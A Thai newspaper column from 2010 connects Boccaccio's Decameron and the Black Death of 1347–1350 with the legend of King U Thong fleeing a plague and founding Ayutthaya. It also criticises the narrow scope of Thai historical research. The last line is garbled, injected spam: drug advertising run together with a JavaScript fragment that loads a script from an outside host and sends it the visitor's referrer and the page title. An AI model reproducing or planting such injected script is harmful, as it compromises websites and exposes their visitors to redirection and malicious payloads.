ฉบับประจำวันจันทร์ที่ 1 กุมภาพันธ์ 2553

จิโอวานี บอกกาจจิโอ (Giovanni Boccacio) นักประพันธ์ชาวอิตาเลียน ผู้ประพันธ์เรื่องเล่าชุด Decameron อยู่ร่วมยุค“โรคห่า”ระบาดเดียวกับพระเจ้าอู่ทอง แห่งกรุงศรีอยุธยา

ท้าวอู่ทอง (หรือพระเจ้าอู่ทอง) เป็นชื่อในตำนานแพร่หลายทั่วไปบริเวณที่ราบลุ่มน้ำเจ้าพระยา แต่เป็นที่รู้กันว่าคือกษัตริย์ที่พาไพร่พลรอดจาก“โรคห่า”ระบาด อพยพหนีไปสร้างกรุงศรีอยุธยา เมื่อ ค.ศ. 1350 (พ.ศ. 1893) แล้วได้พระนามว่าสมเด็จพระรามาธิบดี

ความรู้เกี่ยวกับนักประพันธ์ชาวอิตาเลียนคนนี้ ผมเพิ่งได้อ่านจาก สิงห์ สนามหลวง คอลัมน์สิงห์สนามหลวงสนทนา ในเนชั่นสุดสัปดาห์(ฉบับวันศุกร์ที่ 22 มกราคม พ.ศ. 2553 หน้า 52-53) ขอยกข้อความมาแบ่งปันให้แพร่หลายอีก ดังนี้

Boccacio : ค.ศ. 1313-75 นักประพันธ์ชาวอิตาเลียน ชื่อเต็มคือ Giovanni Boccacio เจ้าของเรื่องเล่าชุด Decameron กล่าวถึงยุคสมัยที่กาฬโรคระบาดเข้ามาในเมืองฟลอเร้นซ์ เมื่อ ค.ศ. 1348 และทำให้ผู้คนตายไปจำนวนมากจนต้องผลัดกันเล่าเรื่องประเภท “ตาเถร-ยายชี” ฟังกัน เพื่อลบลืมความตายที่อยู่ข้างนอก

ชิ้นงานเรื่อง Decameron เคยมีผู้แปลเป็นภาษาไทยในชื่อ บรรเทองทศวาร ในช่วงปลายสมัยรัชกาลที่ 6 แต่แปลไม่จบ

อาจกล่าวได้ว่า เดคาเมรอน เป็นต้นแบบของงานเขียน“ร้อยแก้วแนวใหม่”ที่ยุคแรกๆได้พัฒนาให้เกิดคำว่า “เรื่องสั้น” และ“นวนิยาย”ของยุโรปในเวลาต่อมา

ขอให้สังเกตว่ามีกาฬโรคระบาดเข้าไปถึงเมืองฟลอเรนซ์ในประเทศอิตาลีเมื่อ ค.ศ. 1348 (พ.ศ. 1891) ก่อนสถาปนากรุงศรีอยุธยา 2 ปี แสดงว่าใช้เวลาแพร่เชื้อโรคจากจีนเดินทางราว 2 ปี

กาฬโรคระบาดครั้งนั้นทางยุโรปรู้กันในชื่อว่า Black Death ระหว่าง ค.ศ. 1347-1350 (พ.ศ. 1890-1893) แต่ในประวัติศาสตร์ไทยเรียกโรคห่า หมายถึงโรคที่ทำให้คนล้มหายตายจากมากเป็นเบือ ผมเขียนไว้ในหนังสืออยุธยา ยศยิ่งฟ้า (กองทุนแบ่งปันเผยแพร่ความรู้สู่สาธารณะ พิมพ์ครั้งที่สาม 2552 หน้า 50-51) จะยกมาให้อ่าน ดังนี้

“จะพบว่าช่วงปลายพุทธศตวรรษที่ 19 (หรือหลัง พ.ศ. 18 00) เกิดโรคระบาดที่ประเทศจีน แล้วกลายเป็นกาฬโรคระบาดไปทั่วโลก เพราะหนูเป็นพาหะอาศัยไปกับสำเภาบรรทุกสินค้า เอากาฬโรคไปแพร่ตามเมืองท่าต่างๆที่เรือแวะจอดด้วย มีหลักฐานว่ากาฬโรคจากเมืองจีนระบาดไปถึงตะวันออกกลางและยุโรประหว่าง พ.ศ. 1890-1893 เป็นเหตุให้มีผู้คนล้มตายนับล้านๆคน จนยุโรปเกือบร้าง

จะเห็นว่าช่วงเวลาที่กาฬโรคระบาดจากเมืองจีนไปถึงยุโรป ตรงกับเวลาในตำนานและพงศาวดารเรื่องพระเจ้าอู่ทองหนีโรค ‘ห่า’ แล้วสถาปนากรุงศรีอยุธยา เมื่อ พ.ศ. 1893”

ประวัติศาสตร์ไทยอธิบายตำนนานเรื่องพระเจ้าอู่ทองอพยพไพร่พลจากเมือง        อู่ทอง (อ. อู่ทอง จ. สุพรรณบุรี) หนี“โรคห่า” ว่าหมายถึงอหิวาตกโรค(มีรายละเอียดอีกมากในหนังสือพระเจ้าอู่ทอง ไม่ได้มาจากเมืองอู่ทอง โดย สุจิตต์ วงษ์เทศ สำนักพิมพ์มติชน พิมพ์ครั้งแรก พ.ศ. 2545)เท่านั้น เป็นความเข้าใจคลาดเคลื่อน เพราะการค้นคว้าวิจัยยังไม่กว้างขวางรอบด้าน แล้วยังไม่ยกประวัติศาสตร์โลกมาพิจารณาอธิบายร่วมด้วย

น่าสมเพชเวทนาตัวผมเองที่เพิ่งรู้จักวรรณคดีอิตาลีเรื่อง Decameron ว่าเป็นเรื่องเล่ายุคโรคห่ากาฬโรคระบาดสมัยพระเจ้าอู่ทอง หรือสมเด็จพระรามาธิบดีที่ทรงสถาปนากรุงศรีอยุธยา เพราะเพิ่งอ่านงานของสิงห์ สนามหลวง คราวนี้เอง ทั้งๆผมซื้อหนังสือบันเทิงทศวารมาอ่านนานราว 30-40 ปีมาแล้ว แต่อ่านอย่างลำบากยากเย็น เพราะพื้นความรู้ไม่พอ จึงไม่เคยเข้าใจ ไม่เคยรู้เรื่องอย่างนี้ ในข้อถกเถียงทางโบราณคดีเรื่องพระเจ้าอู่ทองก็ไม่เคยพูดเรื่องนี้ไม่ว่าที่มหาวิทยาลัยหรือกรมศิลปากร

การศึกษาประวัติศาสตร์โบราณคดีในประเทศไทย ยังไม่เชื่อมโยงเข้ากับความเคลื่อนไหวของสังคมโลก จึงมีจิตใจและความรู้คับแคบอยู่ในวงจำกัดเฉพาะลุ่มน้ำเจ้าพระยาภาคกลางของประเทศไทย ทำให้เกิด“ปมเขื่อง” แล้วเข้ากันไม่ได้กับความเปลี่ยนแปลงของโลกปัจจุบันและอนาคต

ร่วมยุคกาฬโรคล้างโลก (ซ้าย) Boccacio นักประพันธ์ชาวอิตาเลียน แต่งเรื่องเล่าบันลือโลกเกี่ยวกับกาฬโรคระบาดถึงอิตาลี (ขวา) เศียรธรรมิกราช เศียรพระพุทธรูปหล่อด้วยสำริดยุคอโยธยา มีอายุไล่เลี่ยกับช่วงเวลากาฬโรคระบาด เป็นพระประธานของพระวิหารหลวงวัดธรรมิกราช (ปัจจุบันอยู่ที่พิพิธภัณฑสถานแห่งชาติ เจ้าสามพระยา จังหวัดพระนครศรีอยุธยา)

fluoxetine ocd Buy silvitra online canadas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;